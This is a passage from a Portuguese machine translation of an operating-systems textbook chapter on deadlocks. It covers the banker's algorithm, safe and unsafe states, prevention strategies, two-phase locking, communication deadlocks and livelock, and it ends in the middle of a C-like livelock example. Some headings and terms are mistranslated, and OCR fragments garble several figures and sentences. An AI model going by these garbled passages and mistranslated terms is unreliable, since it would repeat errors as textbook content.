Alternativamente, um processo que não está no ciclo pode ser escolhido como vítima para liberar 
seus recursos. Nesta abordagem, o processo a ser eliminado é cuidadosamente escolhido porque contém 
os recursos que algum processo do ciclo necessita. Por exemplo, um processo pode conter uma impressora 
e querer uma plotadora, enquanto outro processo pode conter uma plotadora e querer uma impressora. 
Esses dois ficam então em um impasse. Um terceiro processo pode conter outra impressora idêntica e 
outra plotadora idêntica e funcionar perfeitamente. 
Eliminar o terceiro processo irá liberar esses recursos e quebrar o impasse envolvendo os dois primeiros. 


Sempre que possível, é melhor encerrar um processo que possa ser executado novamente desde o 
início sem efeitos nocivos. Por exemplo, uma compilação sempre pode ser executada novamente porque 
tudo o que ela faz é ler um arquivo fonte e produzir um arquivo objeto. Se for eliminado no meio do caminho, 
a primeira execução não terá influência na segunda execução. 

Por outro lado, um processo que atualiza um banco de dados nem sempre pode ser executado uma 
segunda vez com segurança. Se o processo adicionar 1 a algum campo de uma tabela no banco de dados, 
executá-lo uma vez, eliminá-lo e depois executá-lo novamente adicionará 2 ao campo, o que é incorreto. 


6.5 DEADLOCK AV EVITAR 


Na discussão sobre detecção de impasses, assumimos tacitamente que quando um processo solicita 
recursos, ele os solicita todos de uma vez (a matriz R da Figura 6-9). Na maioria dos sistemas, entretanto, 
os recursos são solicitados um de cada vez. O sistema deve ser capaz de decidir se a concessão de um 
recurso é segura ou não e fazer a alocação 
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somente quando for seguro. Assim, surge a questão: existe um algoritmo que possa 
sempre evitar impasses fazendo a escolha certa o tempo todo? A resposta é uma 
qualificado sim — podemos evitar impasses, mas somente se certas informações estiverem disponíveis 


antecipadamente. Nesta seção, examinamos maneiras de evitar impasses através de cuidado 
Alocação de recursos. 


6.5.1 Trajetórias de Recursos 


Os principais algoritmos para evitar impasses são baseados no conceito de segurança 
estados. Antes de descrevê-los, faremos uma pequena digressão para abordar o conceito de 
segurança de forma gráfica e de fácil compreensão. Embora o gráfico 
abordagem não se traduz diretamente em um algoritmo utilizável, ela dá uma boa noção intuitiva da 
natureza do problema. 

Na Figura 6-11, vemos um modelo para lidar com dois processos e dois recursos, 
por exemplo, uma impressora e uma plotadora. O eixo horizontal representa o número de 
instruções executadas pelo processo A. O eixo vertical representa o número de 
instruções executadas pelo processo B. Em l1 A solicita uma impressora; em |2 precisa de um plotter. 
A impressora e a plotter são lançadas em 13 e 14, respectivamente. Necessidades do processo B 
a plotter de 15 a I7 e a impressora de l6 a 18. 


você (ambos os processos 
finalizado) 


Impressora 


— EE Es 


Plotadora 


p q E1 12 14 


Impressora —&———+»— 


~ Plotadora 


Figura 6-11. Duas trajetórias de recursos de processo. 


Cada ponto no diagrama representa um estado conjunto dos dois processos. Inicialmente, 
o estado está em p, sem que nenhum dos processos tenha executado qualquer instrução. Se o 
O escalonador escolhe executar A primeiro, chegamos ao ponto q, no qual A executou 
algumas instruções, mas B não executou nenhuma. No ponto q a trajetória 
torna-se vertical, indicando que o escalonador optou por executar B. Com um único 
processador, todos os caminhos devem ser horizontais ou verticais, nunca diagonais. Além disso, 
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o movimento é sempre para o norte ou para o leste, nunca para o sul ou para o oeste (porque os 
processos não podem retroceder no tempo, é claro). 

Quando A cruza a linha |1 no caminho de r para s, ele solicita e recebe a impressora. Quando 
B chega ao ponto t, ele solicita o plotter. 

As regiões sombreadas são especialmente interessantes. A região com linhas inclinadas de 
sudoeste para nordeste representa ambos os processos que possuem a impressora. 

A regra de exclusão mútua impossibilita a entrada nesta região. Da mesma forma, a região 
sombreada ao contrário representa ambos os processos que possuem o plotter e é igualmente 
impossível. 

Se o sistema entrar na caixa delimitada por l1 e I2 nas laterais e 15 e I6 na parte superior e 
inferior, ele eventualmente entrará em impasse quando chegar à interseção de 12 e I6. Neste ponto, 
A está solicitando a plotadora e B está solicitando a impressora, e ambos já estão atribuídos. A caixa 
inteira não é segura e não deve ser acessada. No ponto ta única coisa segura a fazer é executar o 
processo A até chegar a 14. Além disso, qualquer trajetória até você servirá. 


O importante a ver aqui é que no ponto t, B está solicitando um recurso. 
O sistema deve decidir se concede ou não. Se a concessão for feita, o sistema entrará em uma 
região insegura e eventualmente travará. Para evitar o impasse, B deve ser suspenso até que A 
solicite e libere o plotter. 


6.5.2 Estados Seguros e Inseguros 


Os algoritmos para evitar impasses que estudaremos utilizam as informações da Figura 6.9. Em 
qualquer instante de tempo, existe um estado atual que consiste em E, A, Ce R. Um estado é 
considerado seguro se houver alguma ordem de agendamento na qual cada processo possa ser 
executado até a conclusão, mesmo que todos eles sejam executados repentinamente. solicitar seu 
número máximo de recursos imediatamente. É mais fácil ilustrar esse conceito com um exemplo 
usando um recurso. Na Figura 6.12(a), temos um estado no qual A tem três instâncias do recurso, 
mas pode eventualmente precisar de até nove. B atualmente tem dois e pode precisar de quatro no 
total, mais tarde. Da mesma forma, C também tem dois, mas pode precisar de cinco adicionais. 
Existem um total de 10 instâncias do recurso, portanto, com sete recursos já alocados, três ainda 
estão livres. 


Tem máximo Tem máximo áxil Tem máximo 


Grátis: Grátis: Grátis: Grátis: Grátis: 
3 (a) 1 (b) 5 (c) O (d) 7 (e) 


Figura 6-12. Demonstração de que o estado em (a) é seguro. 


O estado da Figura 6.12(a) é seguro porque existe uma sequência de alocações que permite 
que todos os processos concluam a execução. Ou seja, o escalonador pode simplesmente 
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execute B exclusivamente, até que ele solicite e obtenha mais duas instâncias do recurso, levando 
ao estado da Figura 6.12(b). Quando B é concluído, obtemos o estado da Figura 6.12(c). Então o 
escalonador pode executar C, levando eventualmente à Figura 6.12(d). 
Quando C for concluído, obtemos a Figura 6.12(e). Agora A pode obter as seis instâncias do recurso 
de que necessita e também concluir. Assim, o estado da Figura 6.12(a) é seguro porque o sistema, 
por meio de um escalonamento cuidadoso, pode evitar impasses. 

Agora suponha que temos o estado inicial mostrado na Figura 6.13(a), mas desta vez A solicita 
e obtém outro recurso, fornecendo a Figura 6.13(b). Podemos encontrar uma sequência que funcione 
com certeza? Deixa-nos tentar. O escalonador poderia executar B até solicitar todos os seus 
recursos, como mostra a Figura 6.13(c). 


Tem máximo Tem máximo 


Grátis: Grátis: Grátis: Grátis: 
3 (a) 2 (b) 0 (c) 4 (d) 


Figura 6-13. Demonstração de que o estado em (b) não é seguro. 


Eventualmente, B é concluído e obtemos o estado da Figura 6.13(d). Neste ponto estamos 
presos. Temos apenas quatro instâncias do recurso livre e cada um dos processos ativos precisa 
de cinco. Não há sequência que garanta a conclusão. Assim, a decisão de alocação que moveu o 
sistema da Figura 6.13(a) para a Figura 6.13(b) passou de um estado seguro para um estado 
inseguro. Executar A ou C a seguir, começando na Figura 6.13(b), também não funciona. Em 
retrospecto, o pedido de A não deveria ter sido atendido. 

Vale a pena notar que um estado inseguro não é um estado de impasse. Começando na Figura 
6.13(b), o sistema pode funcionar por um tempo. Na verdade, um processo pode até ser concluído. 
Além disso, é possível que A libere um recurso antes de solicitar mais, permitindo que C seja 
concluído e evitando completamente o impasse. Assim, a diferença entre um estado seguro e um 
estado inseguro é que a partir de um estado seguro o sistema pode garantir que todos os processos 
terminarão; de um estado inseguro, tal garantia não pode ser dada. 


6.5.3 O Algoritmo do Banqueiro para um Único Recurso 


Um algoritmo de escalonamento que pode evitar impasses é devido a Dijkstra (1965); é 
conhecido como algoritmo do banqueiro e é uma extensão do algoritmo de detecção de impasse 
dado na Seção. 6.5. É modelado na forma como um banqueiro de uma pequena cidade lidaria com 
um grupo de clientes aos quais concedeu linhas de crédito. (Anos atrás, os bancos não emprestavam 
dinheiro a menos que soubessem que poderiam ser reembolsados.) O que o algoritmo faz é 
verificar se a concessão do pedido leva a um estado inseguro. Nesse caso, o pedido é negado. Se 
a concessão da solicitação levar a um estado seguro, ela será executada. Na Figura 6.14(a), vemos 
quatro clientes, A, B, C e D, cada um dos quais recebeu 
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um certo número de unidades de crédito (por exemplo, 1 unidade equivale a 1 mil dólares). O banqueiro 
sabe que nem todos os clientes precisarão do seu crédito máximo imediatamente, por isso reservou 
apenas 10 unidades em vez de 22 para atendê-los. (Nesta analogia, os clientes são processos, as 
unidades são, digamos, impressoras e o banqueiro é o sistema operacional.) 


Tem máximo 


Grátis: 10 Grátis: 2 Grátis: 1 


(a) (b) (c) 
Figura 6-14. Três estados de alocação de recursos: (a) seguro. (b) seguro. (c) inseguro. 


Os clientes cuidam de seus respectivos negócios, fazendo solicitações de empréstimos de tempos 
em tempos (ou seja, solicitando recursos). Em determinado momento, a situação é mostrada na Figura 
6.14(b). Este estado é seguro porque com duas unidades restantes, o banqueiro pode atrasar quaisquer 
solicitações, exceto as de C, permitindo assim que C termine e libere todos os seus quatro recursos. 
Com quatro unidades em mãos, o banqueiro pode permitir que D ou B tenham as unidades necessárias, 
e assim por diante. 

Considere o que aconteceria se um pedido de B para mais uma unidade fosse atendido na Figura 
6.14(b). Teríamos a situação Fig. 6.14(c), que é insegura. Se todos os clientes subitamente pedissem 
seus empréstimos máximos, o banqueiro não conseguiria satisfazer nenhum deles e teríamos um 
impasse. Um estado inseguro não tem de conduzir a um impasse, uma vez que um cliente pode não 
necessitar de toda a linha de crédito disponível, mas o banqueiro não pode contar com este 
comportamento. 

O algoritmo do banqueiro considera cada solicitação conforme ela ocorre, verificando se atendê-la 
leva a um estado seguro. Se isso acontecer, o pedido será atendido; caso contrário, será adiado para 
mais tarde. Para saber se um estado é seguro, o banqueiro verifica se possui recursos suficientes para 
satisfazer algum cliente. Se assim for, presume-se que esses empréstimos serão reembolsados e o 
cliente que está mais próximo do limite é verificado, e assim por diante. Se todos os empréstimos 
puderem eventualmente ser reembolsados, o Estado estará seguro e o pedido inicial poderá ser atendido. 


6.5.4 O Algoritmo do Banqueiro para Recursos Múltiplos 


O algoritmo do banqueiro pode ser generalizado para lidar com múltiplos recursos. Figo 
A Figura 6-15 mostra como funciona. 

Na Figura 6-15, vemos duas matrizes. O da esquerda mostra quantos de cada recurso estão 
atualmente atribuídos a cada um dos cinco processos. A matriz à direita mostra quantos recursos cada 
processo ainda precisa para ser concluído. 

Essas matrizes são apenas Ce R da Figura 6-9. Tal como no caso de recurso único, os processos 
devem indicar as suas necessidades totais de recursos antes de serem executados, para que o sistema 
possa calcular a matriz da direita em cada instante. 
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Recursos atribuídos Recursos ainda atribuídos 


Figura 6-15. O algoritmo do banqueiro com múltiplos recursos. 


Os três vetores à direita da figura mostram os recursos existentes, E, os recursos possuídos, P, e os recursos 
disponíveis, A, respectivamente. De E vemos que o sistema possui seis unidades de fita, três plotters, quatro 
impressoras e duas câmeras. Destes, cinco unidades de fita, três plotters, duas impressoras e duas câmeras 
estão atualmente atribuídas. Este facto pode ser verificado somando as entradas nas quatro colunas de recursos 
da matriz da esquerda. O vetor de recursos disponíveis é apenas a diferença entre o que o sistema possui e o que 
está em uso atualmente. 


O algoritmo para verificar se um estado é seguro agora pode ser declarado. 


1. Procure uma linha, R, cujas necessidades de recursos não satisfeitas sejam todas menores ou 
iguais a A. Se tal linha não existir, o sistema acabará por entrar em impasse, uma vez que 
nenhum processo pode ser executado até à conclusão (assumindo que os processos mantêm 
todos os recursos até saírem) . 


2. Suponha que o processo da linha escolhida solicite todos os recursos de que necessita (o que é 


garantido ser possível) e termine. Marque esse processo como encerrado e adicione todos os 
seus recursos ao vetor A. 


3. Repita as etapas 1 e 2 até que todos os processos sejam marcados como encerrados (nesse caso, 
o estado inicial era seguro) ou não reste nenhum processo cujas necessidades de recursos 
possam ser atendidas (nesse caso, o sistema não era seguro). 


Se vários processos são elegíveis para serem escolhidos na etapa 1, não importa qual deles é selecionado: o 
conjunto de recursos disponíveis aumenta ou, na pior das hipóteses, permanece o mesmo. 
mesmo. 

Agora voltemos ao exemplo da Figura 6-15. O estado atual é seguro. 
Suponha que o processo B faça agora uma solicitação para a impressora. Esta solicitação pode ser atendida 
porque o estado resultante ainda é seguro (o processo D pode terminar e então os processos A ou E, seguidos 
pelos demais). 

Agora imagine que depois de dar a B uma das duas impressoras restantes, E queira a última impressora. A 
concessão desse pedido reduziria o vetor de recursos disponíveis para (1 0 0 0), o que leva ao impasse, portanto 
o pedido de E deve ser adiado por um tempo. 
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O algoritmo do banqueiro foi publicado pela primeira vez por Dijkstra em 1965. Desde 
então, quase todos os livros sobre sistemas operacionais o descrevem detalhadamente. 
Inúmeros artigos foram escritos sobre vários aspectos disso. Infelizmente, poucos autores 
tiveram a audácia de salientar que embora em teoria o algoritmo seja maravilhoso, na prática 
é essencialmente inútil porque os processos raramente sabem antecipadamente quais serão 
as suas necessidades máximas de recursos. Além disso, o número de processos não é fixo, 
mas varia dinamicamente à medida que novos usuários fazem login e logout. Além disso, os 
recursos que se pensava estarem disponíveis podem desaparecer repentinamente (as unidades 
de fita podem quebrar). Assim, na prática, poucos ou nenhum sistema existente utiliza o 
algoritmo do banqueiro para evitar impasses. Alguns sistemas, entretanto, usam heurísticas 
semelhantes às do algoritmo do banqueiro para evitar impasses. Por exemplo, as redes podem 
limitar o tráfego quando a utilização do buffer atinge mais de, digamos, 70% — estimando que 


os 30% restantes serão suficientes para que os utilizadores actuais concluam o seu serviço e 
devolvam os seus recursos. 


6.6 PREVENÇÃO DE BLOQUEIO 


Tendo visto que evitar impasses é essencialmente impossível, porque requer informações 
sobre solicitações futuras, que não são conhecidas, como os sistemas reais evitam impasses? 
A resposta é voltar às quatro condições declaradas por Coffman et al. (1971) para ver se eles 
podem fornecer uma pista. Se pudermos garantir que pelo menos uma destas condições nunca 
seja satisfeita, então os impasses serão estruturalmente impossíveis (Havender, 1968). 


6.6.1 Atacando a Condição de Exclusão Mútua 


Primeiro, ataquemos a condição de exclusão mútua. Se nenhum recurso fosse atribuído 


exclusivamente a um único processo, nunca teríamos conflitos. Para dados, o método mais 
simples é torná-los somente leitura, para que os processos possam usá-los simultaneamente. 
Contudo, é igualmente claro que permitir que dois processos escrevam na impressora ao 
mesmo tempo levará ao caos. Ao colocar em spool a saída da impressora, vários processos 
podem gerar saída ao mesmo tempo. Neste modelo, o único processo que realmente solicita 
a impressora física é o daemon da impressora. Como o daemon nunca solicita nenhum outro 
recurso, podemos eliminar o impasse da impressora. 

Se o daemon estiver programado para começar a imprimir mesmo antes de toda a saída 
ser colocada em spool, a impressora poderá ficar ociosa se um processo de saída decidir 
esperar várias horas após a primeira explosão de saída. Por esse motivo, os daemons 
normalmente são programados para imprimir somente depois que o arquivo de saída completo 
estiver disponível. No entanto, esta decisão por si só pode levar a um impasse. O que 
aconteceria se dois processos ocupassem metade do espaço de spool disponível com saída 
e nenhum deles terminasse de produzir sua saída completa? Nesse caso, teríamos dois 
processos em que cada um tinha uma parte concluída, mas não toda, de sua saída, e não 
poderia continuar. Nenhum dos processos terminará, então teríamos um impasse no disco. 
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No entanto, há aqui um germe de uma ideia que é frequentemente aplicável. 
Evite atribuir um recurso, a menos que seja absolutamente necessário, e tente garantir que o menor 
número possível de processos possa realmente reivindicar o recurso. 


6.6.2 Atacando a Condição Hold-and-Wait 


A segunda das condições declaradas por Coffman et al. parece um pouco mais promissor. Se 
pudermos evitar que processos que retêm recursos esperem por mais recursos, poderemos eliminar 
impasses. Uma maneira de atingir esse objetivo é exigir que todos os processos solicitem todos os 
seus recursos antes de iniciar a execução. Se tudo estiver disponível, o processo receberá o que 
for necessário e poderá ser executado até a conclusão. Se um ou mais recursos estiverem 
ocupados, nada será alocado e o processo apenas aguardará. 


Um problema imediato com esta abordagem é que muitos processos não sabem quantos 
recursos serão necessários até começarem a funcionar. Na verdade, se soubessem, o algoritmo do 
banqueiro poderia ser usado. Outro problema é que os recursos não serão utilizados de forma 
otimizada com esta abordagem. Tomemos, como exemplo, um processo que lê dados de uma fita 
de entrada, analisa-os por uma hora e depois grava uma fita de saída, bem como plota os resultados. 
Se todos os recursos precisarem ser solicitados com antecedência, o processo irá bloquear a 
unidade de fita de saída e a plotadora por uma hora. 

No entanto, alguns sistemas em lote de mainframe exigem que o usuário liste todos os recursos 
na primeira linha de cada tarefa. O sistema então pré-aloca todos os recursos imediatamente e não 
os libera até que não sejam mais necessários para o trabalho (ou, no caso mais simples, até que o 
trabalho termine). Embora esse método sobrecarregue o programador e desperdice recursos, ele 
evita impasses. 

Uma maneira um pouco diferente de quebrar a condição de espera e espera é exigir que um 
processo que solicita um recurso primeiro libere temporariamente todos os recursos que ele 
mantém atualmente. Em seguida, ele tenta obter tudo o que precisa de uma só vez. 


6.6.3 Atacando a Condição Sem Preempção 


Atacar a terceira condição (sem preempção) também é uma possibilidade. Se a impressora foi 
atribuída a um processo e ele está no meio da impressão de sua saída, retirar a impressora à força 
porque a plotadora necessária não está disponível é complicado, na melhor das hipóteses, e 
impossível, na pior. Porém, alguns recursos podem ser virtualizados para evitar esta situação. 
Colocar em spool a saída da impressora no SSD ou no disco e permitir apenas o acesso do daemon 
da impressora à impressora real elimina conflitos envolvendo a impressora, embora crie um 
potencial de conflito no espaço em disco. Porém, com SSDs/discos grandes, é improvável que 
fique sem espaço de armazenamento. 

No entanto, nem todos os recursos podem ser virtualizados desta forma. Por exemplo, registros 
em bancos de dados ou tabelas dentro do sistema operacional devem ser bloqueados para serem 
usados e aí reside o potencial de impasse. 
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6.6.4 Atacando a Condição de Espera Circular 


Resta apenas uma condição. A espera circular pode ser eliminada de diversas maneiras. 
Uma maneira é simplesmente ter uma regra dizendo que um processo tem direito apenas a um único recurso a 
qualquer momento. Se precisar de um segundo, deverá liberar o primeiro. Para um processo que precisa copiar 


um arquivo enorme de uma fita para uma impressora, essa restrição é inaceitável. 


Outra forma de evitar a espera circular é fornecer uma numeração global de todos os recursos, conforme 
mostrado na Figura 6.16(a). Agora a regra é esta: os processos podem solicitar recursos quando quiserem, mas 
todas as solicitações devem ser feitas em ordem numérica. 

Um processo pode solicitar primeiro uma impressora e depois uma unidade de fita, mas não pode solicitar 


primeiro uma plotadora e depois uma impressora. 


1. Compositora de (B) 


imagens 2. 


Impressora 3. 

Plotadora 4. Unidade i 

de fita 5. Unidade de Blu-ray 
(a) (b) 


Figura 6-16. (a) Recursos ordenados numericamente. (b) Um gráfico de recursos. 


Com esta regra, o gráfico de alocação de recursos nunca pode ter ciclos. Vejamos por que isso é verdade 
para o caso de dois processos, na Figura 6.16(b). Só podemos obter um dead lock se A solicitar o recurso je B 
solicitar o recurso i. Supondo que ie j sejam recursos distintos, eles terão números diferentes. Se į > j, então A 
não tem permissão para solicitar j porque é menor do que o que já possui. Se į < j, então B não tem permissão 
para solicitar i porque é menor do que o que já possui. De qualquer forma, o impasse é impossível. 


Com mais de dois processos, a mesma lógica é válida. A cada instante, um dos recursos atribuídos será o 
mais alto. O processo que contém esse recurso nunca solicitará um recurso já atribuído. Ele terminará ou, na pior 
das hipóteses, solicitará recursos ainda mais numerosos, todos disponíveis. Eventualmente, ele terminará e 
liberará seus recursos. Neste ponto, algum outro processo terá o maior recurso e também poderá ser finalizado. 


Resumindo, existe um cenário em que todos os processos terminam, portanto não há conflito. 


Uma pequena variação deste algoritmo é abandonar a exigência de que os recursos sejam adquiridos em 
sequência estritamente crescente e simplesmente insistir para que nenhum processo solicite um recurso inferior 
ao que já possui. Se um processo solicitar inicialmente 9 e 10 e depois liberar ambos, ele estará efetivamente 
iniciando tudo de novo, portanto não há razão para proibi-lo de solicitar agora o recurso 1. 


Embora ordenar numericamente os recursos elimine o problema de dead locks, pode ser impossível 
encontrar uma ordenação que satisfaça a todos. Quando os recursos incluem slots de tabela de processos, 
espaço de spooler de disco, registros de banco de dados bloqueados, 
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e outros recursos abstratos, o número de recursos potenciais e diferentes usos 
pode ser tão grande que nenhum pedido poderia funcionar. 
Várias abordagens para prevenção de deadlock estão resumidas na Figura 6.17. 


Doença Abordagem 


Exclusão mútua Carregue tudo 


Segure e espere Solicite todos os recursos inicialmente 
Sem preempção Retire recursos 
Espera circular Ordenar recursos numericamente 


Figura 6-17. Resumo das abordagens para prevenção de deadlock. 


6.7 OUTRAS QUESTÕES 


Nesta seção, discutiremos algumas questões diversas relacionadas a deadlocks. 
Isso inclui bloqueio em duas fases, impasses sem recursos e falta de recursos. 


6.7.1 Bloqueio Bifásico 


Embora tanto a prevenção quanto a prevenção não sejam muito promissoras no caso geral, 
para aplicações específicas, muitos algoritmos excelentes para fins especiais são 
conhecido. Por exemplo, em muitos sistemas de banco de dados, uma operação que ocorre 
frequentemente é solicitar bloqueios em vários registros e depois atualizar todos os registros bloqueados. 
registros. Quando vários processos estão sendo executados ao mesmo tempo, existe um perigo real 
de impasse. 

A abordagem frequentemente usada é chamada de bloqueio em duas fases. Na primeira fase, o 
O processo tenta bloquear todos os registros necessários, um de cada vez. Se tiver sucesso, começa 
a segunda fase, realizando suas atualizações e liberando os bloqueios. Nenhum trabalho real é 
feito na primeira fase. 

Se durante a primeira fase for necessário algum registro que já esteja bloqueado, o processo 
apenas libera todos os seus bloqueios, espera um pouco e inicia toda a primeira fase. Num certo 
sentido, esta abordagem é semelhante a solicitar antecipadamente todos os recursos necessários, 
ou pelo menos antes que algo irreversível seja feito. Em algumas versões do bloqueio de duas 
fases, não há liberação e reinicialização se um registro bloqueado for encontrado durante a primeira 
fase. Nessas versões, pode ocorrer deadlock. 

No entanto, esta estratégia não é aplicável em geral. Em sistemas de tempo real e 
sistemas de controle de processos, por exemplo, não é aceitável apenas encerrar um processo no 
meio porque um recurso não está disponível e começar tudo de novo. 

Também não é aceitável recomeçar se o processo tiver lido ou escrito mensagens para 
a rede, arquivos atualizados ou qualquer outra coisa que não possa ser repetida com segurança. O 
algoritmo funciona apenas naquelas situações em que o programador examinou cuidadosamente 
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organizou as coisas para que o programa possa ser interrompido a qualquer momento durante a 
primeira fase e reiniciado. Muitos aplicativos não podem ser estruturados dessa maneira. 


6.7.2 Impasses de comunicação 


Todo o nosso trabalho até agora concentrou-se nos impasses de recursos. Um processo deseja 
algo que outro processo possui e deve esperar até que o primeiro desista. Às vezes, os recursos são 
objetos de hardware ou software, como câmeras ou registros de banco de dados, mas às vezes são 
mais abstratos. O impasse de recursos é um problema de sincronização da concorrência. 
Processos independentes completariam o serviço se a sua execução não fosse intercalada com 
processos concorrentes. Um processo bloqueia recursos para evitar estados de recursos 
inconsistentes causados por acessos intercalados aos recursos. O acesso intercalado a recursos 
bloqueados, entretanto, permite o impasse de recursos. Na Figura 6.5, vimos um impasse de recursos 
onde os recursos eram semáforos. Um semáforo é um pouco mais abstrato que uma câmera, mas 
neste exemplo, cada processo adquiriu com sucesso um recurso (um dos semáforos) e travou 
tentando adquirir outro (o outro semáforo). Esta situação é um impasse clássico de recursos. 


No entanto, como mencionamos no início do capítulo, embora os impasses de recursos sejam 
o tipo mais comum, eles não são o único. Outro tipo de impasse pode ocorrer em sistemas de 
comunicação (por exemplo, redes), nos quais dois ou mais processos comunicam-se através do 
envio de mensagens. Um arranjo comum é que o processo A envie uma mensagem de solicitação 
ao processo B e depois bloqueie até que B envie de volta uma mensagem de resposta. Suponha que 
a mensagem de solicitação seja perdida. A está bloqueado aguardando a resposta. B está bloqueado 
aguardando uma solicitação pedindo para fazer algo. Temos um impasse. 


Este, porém, não é o clássico impasse de recursos. A não possui algum recurso que B deseja 
e vice-versa. Na verdade, não há recursos à vista. Mas é um impasse de acordo com a nossa 
definição formal, uma vez que temos um conjunto de (dois) processos, cada um bloqueado à espera 
de um evento que só o outro pode causar. 

Esta situação é cnamada de impasse de comunicação para contrastá-la com o impasse de recursos 
mais comum. O impasse na comunicação é uma anomalia da sincronização da cooperação. Os 
processos neste tipo de impasse não poderiam completar o serviço se executados de forma 
independente. 

Os impasses de comunicação não podem ser evitados ordenando os recursos (uma vez que 
não existem recursos) ou evitados através de um agendamento cuidadoso (uma vez que não há 
momentos em que um pedido possa ser adiado). Felizmente, existe outra técnica que geralmente 
pode ser empregada para quebrar impasses de comunicação: timeouts. Na maioria dos sistemas de 
comunicação em rede, sempre que é enviada uma mensagem para a qual se espera uma resposta, 
um cronômetro é iniciado. Se o cronômetro disparar antes da chegada da resposta, o remetente da 
mensagem presume que a mensagem foi perdida e a envia novamente (e novamente e novamente, 
se necessário). Desta forma, o impasse é quebrado. Em outras palavras, o tempo limite serve como 
uma heurística para detectar impasses e permite 
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recuperação. Esta heurística também é aplicável a impasses de recursos e é baseada 
por usuários com drivers de dispositivo com bugs que podem travar e congelar o sistema. 

É claro que, se a mensagem original não foi perdida, mas a resposta foi simplesmente atrasada, 
o destinatário pretendido poderá receber a mensagem duas ou mais vezes, possivelmente com 
consequências indesejáveis. Pense em um sistema bancário eletrônico no qual o 
mensagem contém instruções para efetuar um pagamento. Claramente, isso não deve ser repetido (e 
executado) múltiplas vezes só porque a rede está lenta ou o tempo limite é muito curto. Projetar as 
regras de comunicação, chamadas de protocolo, para obter 
tudo certo é um assunto complexo, mas muito além do escopo deste livro. 

Leitores interessados em protocolos de rede podem estar interessados em outro livro de uma 
dos autores, Redes de Computadores (Tanenbaum et al., 2020). 

Nem todos os impasses que ocorrem em sistemas ou redes de comunicação são impasses de 
comunicação. Impasses de recursos também podem ocorrer lá. Considere, por exemplo, a rede da 
Figura 6.18. É uma visão simplificada da Internet. Muito sim plificado. A Internet consiste em dois tipos 
de computadores: hosts e roteadores. Um anfitrião 
é um computador de usuário, seja o tablet ou PC de alguém em casa, um PC em uma empresa ou um 
servidor corporativo. Os anfitriões trabalham para as pessoas. Um roteador é um computador 
especializado em comunicações que move pacotes de dados da origem ao destino. Cada 
host está conectado a um ou mais roteadores, seja por uma linha de assinante digital, cabo 


Conexão de TV, LAN, linha dial-up, rede sem fio, fibra óptica ou algo assim 
outro. 


Roteador 


Amortecedor 
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Figura 6-18. Um impasse de recursos em uma rede. 


Quando um pacote chega a um roteador vindo de um de seus hosts, ele é colocado em um buffer 
para posterior transmissão para outro roteador e depois para outro até chegar ao 
destino. Esses buffers são recursos e há um número finito deles. Em 
Figura 6-19, cada roteador tem apenas oito buffers (na prática eles têm milhões, mas 
isso não altera a natureza do impasse potencial, apenas a sua frequência). Suponha que todos os 
pacotes no roteador A precisem ir para B e todos os pacotes em B precisem 
vá para C e todos os pacotes em C precisam ir para D e todos os pacotes em D precisam ir 
para A. Nenhum pacote pode se mover porque não há buffer na outra extremidade e temos um 
impasse clássico de recursos, embora no meio de um sistema de comunicações. 


Machine Translated by Google 


SEC. 6.7 OUTROS PROBLEMAS 467 


6.7.3 Bloqueio ao vivo 


Em algumas situações, um processo tenta ser educado desistindo dos bloqueios já adquiridos 
sempre que percebe que não consegue obter o próximo bloqueio necessário. Então ele espera um 
milissegundo, digamos, e tenta novamente. Em princípio, isto é bom e deve ajudar a detectar e 
evitar impasses. No entanto, se o outro processo fizer a mesma coisa exatamente ao mesmo tempo, 
eles estarão na situação de duas pessoas tentando se cruzar na rua, quando ambos se afastam 
educadamente, e ainda assim nenhum progresso é possível, porque eles continue pisando da 
mesma maneira ao mesmo tempo. 

Considere um bloqueio try primitivo atômico no qual o processo de chamada testa um mutex e 
o captura ou retorna uma falha. Em outras palavras, ele nunca bloqueia. Os programadores podem 
usá-lo junto com o bloqueio de aquisição , que também tenta capturar o bloqueio, mas bloqueia se 
o bloqueio não estiver disponível no momento. Agora imagine um par de processos rodando em 
paralelo (talvez em núcleos diferentes) que utilizam dois recursos, como mostra a Figura 6.19. Cada 
um precisa de dois recursos e utiliza a primitiva try lock para tentar adquirir os bloqueios necessários. 
Se a tentativa falhar, o processo desiste do bloqueio que contém e tenta novamente. Na Figura 
6.19, o processo A executa e adquire o recurso 1, enquanto o processo 2 executa e adquire o 
recurso 2. Em seguida, eles tentam adquirir o outro bloqueio e falham. Para ser educado, eles 
desistem do bloqueio que estão segurando e tentam novamente. 

Esse procedimento se repete até que um usuário entediado (ou alguma outra entidade) acabe com 
um desses processos. É evidente que nenhum processo está bloqueado e poderíamos até dizer 
que as coisas estão a acontecer, portanto não se trata de um impasse. Ainda assim, nenhum 
progresso é possível, então temos algo equivalente: um livelock. 

Livelock e deadlock podem ocorrer de maneiras surpreendentes. Em alguns sistemas, o número 
total de processos permitidos é determinado pelo número de entradas na tabela de processos. 
Assim, os slots da tabela de processos são recursos finitos. Se uma bifurcação falhar porque a 
tabela está cheia, uma abordagem razoável para o programa que faz a bifurcação é esperar um 
tempo aleatório e tentar novamente. 

Agora suponha que um sistema UNIX tenha 100 slots de processo. Dez programas estão em 
execução, cada um dos quais precisa criar 12 filhos. Após cada processo ter criado 9 processos, os 
10 processos originais e os 90 novos processos esgotaram a tabela. Cada um dos 10 processos 
originais agora fica em um loop interminável, bifurcando-se e falhando — um livelock. A probabilidade 
de isso acontecer é minúscula, mas pode acontecer. Deveríamos abandonar os processos e a 
bifurcação para eliminar o problema? 

O número máximo de arquivos abertos é igualmente restringido pelo tamanho da tabela do nó 
i, portanto, um problema semelhante ocorre quando ela fica cheia. O espaço de troca no disco é 
outro recurso limitado. Na verdade, quase todas as tabelas do sistema operacional representam um 
recurso finito. Deveríamos abolir tudo isso porque poderia acontecer que uma coleção de n 
processos reivindicasse, cada um, 1/n do total, e então cada um tentasse reivindicar outro? 
Provavelmente não é uma boa ideia. 

A maioria dos sistemas operacionais, incluindo UNIX e Windows, basicamente simplesmente 
ignoram o problema, supondo que a maioria dos usuários preferiria um livelock ocasional (ou mesmo 
deadlock) a uma regra que restringe todos os usuários a um processo, um arquivo aberto e 


Machine Translated by Google 


468 impasses INDIVÍDUO. 6 


processo vazio A (void) 
( adquirir bloqueio (&recurso 
1); while (tente lock(&resource 2) == FAIL) 
{ release lock(&resource 1); 
espere tempo fixo(); 
adquirir bloqueio (&recurso 1); 


} usar ambos os recursos(); 
liberar bloqueio (&recurso 2); 
liberar bloqueio (&recurso 1); 


processo vazio B (void) 
( adquirir bloqueio (&recurso 
2); while (tente lock(&resource 1) == FAIL) 
{ release lock(&resource 2); 
espere tempo fixo(); 
